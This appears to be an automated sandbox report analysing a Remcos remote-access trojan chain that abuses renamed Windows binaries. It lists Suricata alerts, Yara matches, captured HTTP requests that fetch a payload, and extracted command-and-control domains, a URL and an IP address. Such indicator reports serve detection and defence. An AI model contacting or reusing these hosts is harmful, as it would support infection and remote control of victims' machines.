Source:	Binary string: easinvoker.pdb source: AnyDesk.PIF, AnyDesk.PIF, 0000000A.00000003.1426879864.000000007FC50000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1517170522.0000000020A8D000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1427511863.000000007F920000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1498326441.0000000002D5E000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1517170522.0000000020A5D000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1495264734.0000000002286000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: cmd.pdbUGP source: alpha.exe, 00000004.00000000.1398569202.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000004.00000002.1402970163.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000006.00000000.1403371619.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000006.00000002.1415146997.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000008.00000002.1422354773.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000008.00000000.1415961649.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000002.1424821170.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000000.1423749785.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000C.00000002.1429459275.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000C.00000000.1425860533.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, esentutl.exe, 00000010.00000003.1478304743.0000000005320000.00000004.00001000.00020000.00000000.sdmp, alpha.pif.16.dr, alpha.exe.3.dr
Source:	Binary string: ping.pdbGCTL source: esentutl.exe, 00000011.00000003.1483371503.0000000005120000.00000004.00001000.00020000.00000000.sdmp, xpha.pif.17.dr
Source:	Binary string: certutil.pdb source: kn.exe, 00000007.00000000.1403779482.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000007.00000002.1413735928.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000000.1416809661.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000002.1421176999.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.5.dr
Source:	Binary string: easinvoker.pdbH source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: cmd.pdb source: alpha.exe, 00000004.00000000.1398569202.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000004.00000002.1402970163.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000006.00000000.1403371619.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000006.00000002.1415146997.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000008.00000002.1422354773.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000008.00000000.1415961649.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000002.1424821170.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000000.1423749785.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000C.00000002.1429459275.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000C.00000000.1425860533.00007FF6A0EA2000.00000002.00000001.01000000.00000004.sdmp, esentutl.exe, 00000010.00000003.1478304743.0000000005320000.00000004.00001000.00020000.00000000.sdmp, alpha.pif.16.dr, alpha.exe.3.dr
Source:	Binary string: easinvoker.pdbGCTL source: AnyDesk.PIF, 0000000A.00000003.1426879864.000000007FC50000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1517170522.0000000020A8D000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1497237334.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1427511863.000000007F920000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1498326441.0000000002D5E000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1517170522.0000000020A5D000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1427109635.0000000002AF6000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1481965290.0000000021982000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1481965290.00000000219B1000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1495264734.0000000002286000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ping.pdb source: esentutl.exe, 00000011.00000003.1483371503.0000000005120000.00000004.00001000.00020000.00000000.sdmp, xpha.pif.17.dr
Source:	Binary string: certutil.pdbGCTL source: kn.exe, 00000007.00000000.1403779482.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000007.00000002.1413735928.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000000.1416809661.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000002.1421176999.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.5.dr

Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E82978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	4_2_00007FF6A0E82978
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E8823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	4_2_00007FF6A0E8823C
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E735B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	4_2_00007FF6A0E735B8
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E71560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	4_2_00007FF6A0E71560
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E97B4C FindFirstFileW,FindNextFileW,FindClose,	4_2_00007FF6A0E97B4C
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E82978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	6_2_00007FF6A0E82978
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E8823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	6_2_00007FF6A0E8823C
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E735B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	6_2_00007FF6A0E735B8
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E71560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	6_2_00007FF6A0E71560
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E97B4C FindFirstFileW,FindNextFileW,FindClose,	6_2_00007FF6A0E97B4C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE3100 #357,FindFirstFileW,#359,FindNextFileW,FindClose,LocalFree,#357,	7_2_00007FF68FCE3100
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE10C4 #357,FindFirstFileW,LocalFree,FindNextFileW,FindClose,LocalFree,#357,	7_2_00007FF68FCE10C4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE6F80 #359,FindFirstFileW,FindNextFileW,FindClose,LocalAlloc,#357,	7_2_00007FF68FCE6F80
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC7C6F8 memset,qsort,#357,FindFirstFileW,GetLastError,bsearch,LocalAlloc,LocalReAlloc,LocalAlloc,FindNextFileW,GetLastError,DeleteFileW,GetLastError,#359,#357,FindClose,LocalFree,LocalFree,	7_2_00007FF68FC7C6F8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE234C wcschr,#357,#357,#359,FindFirstFileW,wcsrchr,_wcsnicmp,iswxdigit,wcstoul,FindNextFileW,#359,#359,#357,#357,LocalFree,LocalFree,FindClose,	7_2_00007FF68FCE234C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC85E58 GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,	7_2_00007FF68FC85E58
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8DBC0 FindFirstFileW,GetLastError,CertOpenStore,CertAddStoreToCollection,CertCloseStore,FindNextFileW,GetLastError,GetLastError,#357,GetLastError,GetLastError,#357,LocalFree,CertCloseStore,CertCloseStore,FindClose,	7_2_00007FF68FC8DBC0
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE1B04 FindFirstFileW,GetLastError,#357,#359,DeleteFileW,FindNextFileW,FindClose,#359,	7_2_00007FF68FCE1B04
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCE19F8 #359,FindFirstFileW,FindNextFileW,FindClose,	7_2_00007FF68FCE19F8
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FCC3674 #357,LocalAlloc,#357,wcsrchr,FindFirstFileW,GetLastError,#359,lstrcmpW,lstrcmpW,#359,RemoveDirectoryW,GetLastError,#359,#359,FindNextFileW,FindClose,LocalFree,LocalFree,DeleteFileW,GetLastError,#359,	7_2_00007FF68FCC3674
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8D4A4 CreateSemaphoreW,GetLastError,CreateEventW,GetLastError,GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,CloseHandle,CloseHandle,	7_2_00007FF68FC8D4A4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC4D440 GetFileAttributesW,#357,#357,#357,FindFirstFileW,LocalFree,#357,FindNextFileW,#357,LocalFree,FindClose,LocalFree,LocalFree,LocalFree,LocalFree,	7_2_00007FF68FC4D440
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC8B3D8 GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,I_CryptCreateLruCache,GetLastError,I_CryptCreateLruCache,GetLastError,#357,	7_2_00007FF68FC8B3D8
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: 10_2_02D35908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,	10_2_02D35908

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.8:49709 -> 77.221.149.38:47666

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://ferreiragascuritiba.com.br/v/233_Faogvkghvqn
Source: Malware configuration extractor	URLs: iamblessed.duckdns.org
Source: Malware configuration extractor	IPs: 127.0.0.1

Uses dynamic DNS services

Source: unknown

DNS query: name: iamblessed.duckdns.org

Source: C:\Users\Public\Libraries\AnyDesk.PIF

Code function: 10_2_02D4E4B8 InternetCheckConnectionA,

10_2_02D4E4B8

Source: global traffic

TCP traffic: 192.168.2.8:49709 -> 77.221.149.38:47666

Source: global traffic

HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 178.237.33.50 178.237.33.50

Source: Joe Sandbox View	ASN Name: INFOBOX-ASInfoboxruAutonomousSystemRU INFOBOX-ASInfoboxruAutonomousSystemRU
Source: Joe Sandbox View	ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.8:49710 -> 178.237.33.50:80

Source: global traffic

HTTP traffic detected: GET /v/233_Faogvkghvqn HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: ferreiragascuritiba.com.br

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /v/233_Faogvkghvqn HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: ferreiragascuritiba.com.br
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: ferreiragascuritiba.com.br
Source: global traffic	DNS traffic detected: DNS query: iamblessed.duckdns.org
Source: global traffic	DNS traffic detected: DNS query: geoplugin.net

Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: kn.exe	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: kn.exe, 00000007.00000000.1403779482.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000007.00000002.1413735928.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000000.1416809661.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000002.1421176999.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.5.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enDisallowedCertLastSyncTimePinR
Source: AnyDesk.PIF, 0000000A.00000002.1517170522.0000000020B1D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ferreiragascuritiba.com.b
Source: AnyDesk.PIF, 0000000A.00000002.1493586816.0000000000865000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ferreiragascuritiba.com.br/
Source: AnyDesk.PIF, 0000000A.00000002.1517170522.0000000020B08000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1493586816.000000000088D000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1493586816.000000000080E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ferreiragascuritiba.com.br/v/233_Faogvkghvqn
Source: AnyDesk.PIF, 0000000A.00000002.1493586816.000000000080E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ferreiragascuritiba.com.br/v/233_Faogvkghvqnath
Source: AnyDesk.PIF, 0000000A.00000002.1493586816.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ferreiragascuritiba.com.br:80/v/233_FaogvkghvqnP
Source: SndVol.exe, 00000014.00000003.1535801300.000000001C176000.00000004.00000020.00020000.00000000.sdmp, SndVol.exe, 00000014.00000003.1537139558.000000001C187000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/
Source: SndVol.exe, 00000014.00000003.1535801300.000000001C158000.00000004.00000020.00020000.00000000.sdmp, SndVol.exe, 00000014.00000003.1535801300.000000001C176000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp
Source: SndVol.exe, 00000014.00000002.3879565990.000000001C158000.00000004.00000020.00020000.00000000.sdmp, SndVol.exe, 00000014.00000003.1535801300.000000001C158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp.(K
Source: AnyDesk.PIF, 0000000A.00000002.1519993639.000000007E810000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1498580149.0000000002DB7000.00000040.00001000.00020000.00000000.sdmp, SndVol.exe, 00000014.00000002.3868017269.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, SndVol.exe, 00000017.00000002.1635427252.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, SndVol.exe, 00000019.00000002.1714933699.00000000027D0000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: SndVol.exe, 00000014.00000002.3879565990.000000001C118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpSystem32
Source: SndVol.exe, 00000014.00000002.3879565990.000000001C158000.00000004.00000020.00020000.00000000.sdmp, SndVol.exe, 00000014.00000003.1535801300.000000001C158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpfH5
Source: SndVol.exe, 00000014.00000002.3879565990.000000001C158000.00000004.00000020.00020000.00000000.sdmp, SndVol.exe, 00000014.00000003.1535801300.000000001C158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpl:H
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0C
Source: AnyDesk.PIF, AnyDesk.PIF, 0000000A.00000002.1497237334.0000000002B93000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1427109635.0000000002B97000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1427511863.000000007F920000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1498326441.0000000002D5E000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1523550345.000000007FAAF000.00000004.00001000.00020000.00000000.sdmp, Faogvkgh.PIF, 00000016.00000002.1647310662.0000000002DA2000.00000004.00001000.00020000.00000000.sdmp, Faogvkgh.PIF, 00000018.00000002.1717002790.0000000002E42000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pmail.com
Source: kn.exe	String found in binary or memory: https://%ws/%ws_%ws_%ws/service.svc/%ws
Source: kn.exe, 00000007.00000000.1403779482.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000007.00000002.1413735928.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000000.1416809661.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000002.1421176999.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.5.dr	String found in binary or memory: https://%ws/%ws_%ws_%ws/service.svc/%wsADPolicyProviderSCEP
Source: kn.exe	String found in binary or memory: https://enterpriseregistration.windows.net/EnrollmentServer/DeviceEnrollmentWebService.svc
Source: kn.exe	String found in binary or memory: https://enterpriseregistration.windows.net/EnrollmentServer/device/
Source: kn.exe	String found in binary or memory: https://enterpriseregistration.windows.net/EnrollmentServer/key/
Source: kn.exe	String found in binary or memory: https://login.microsoftonline.com/%s/oauth2/authorize
Source: kn.exe, 00000007.00000000.1403779482.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000007.00000002.1413735928.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000000.1416809661.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000002.1421176999.00007FF68FD1E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.5.dr	String found in binary or memory: https://login.microsoftonline.com/%s/oauth2/authorizeJoinStatusStorage::SetDefaultDiscoveryMetadatah
Source: kn.exe	String found in binary or memory: https://login.microsoftonline.com/%s/oauth2/token
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0

Source: Yara match	File source: 10.2.AnyDesk.PIF.2d30000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: AnyDesk.PIF PID: 7748, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SndVol.exe PID: 8072, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SndVol.exe PID: 5612, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SndVol.exe PID: 7296, type: MEMORYSTR

E-Banking Fraud

Registers a new ROOT certificate

Source: Yara match	File source: 20.2.SndVol.exe.2cf0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.SndVol.exe.27d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.SndVol.exe.2cf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.SndVol.exe.2c00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.SndVol.exe.27d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.SndVol.exe.2c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.AnyDesk.PIF.2d30000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.1714791876.0000000000647000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
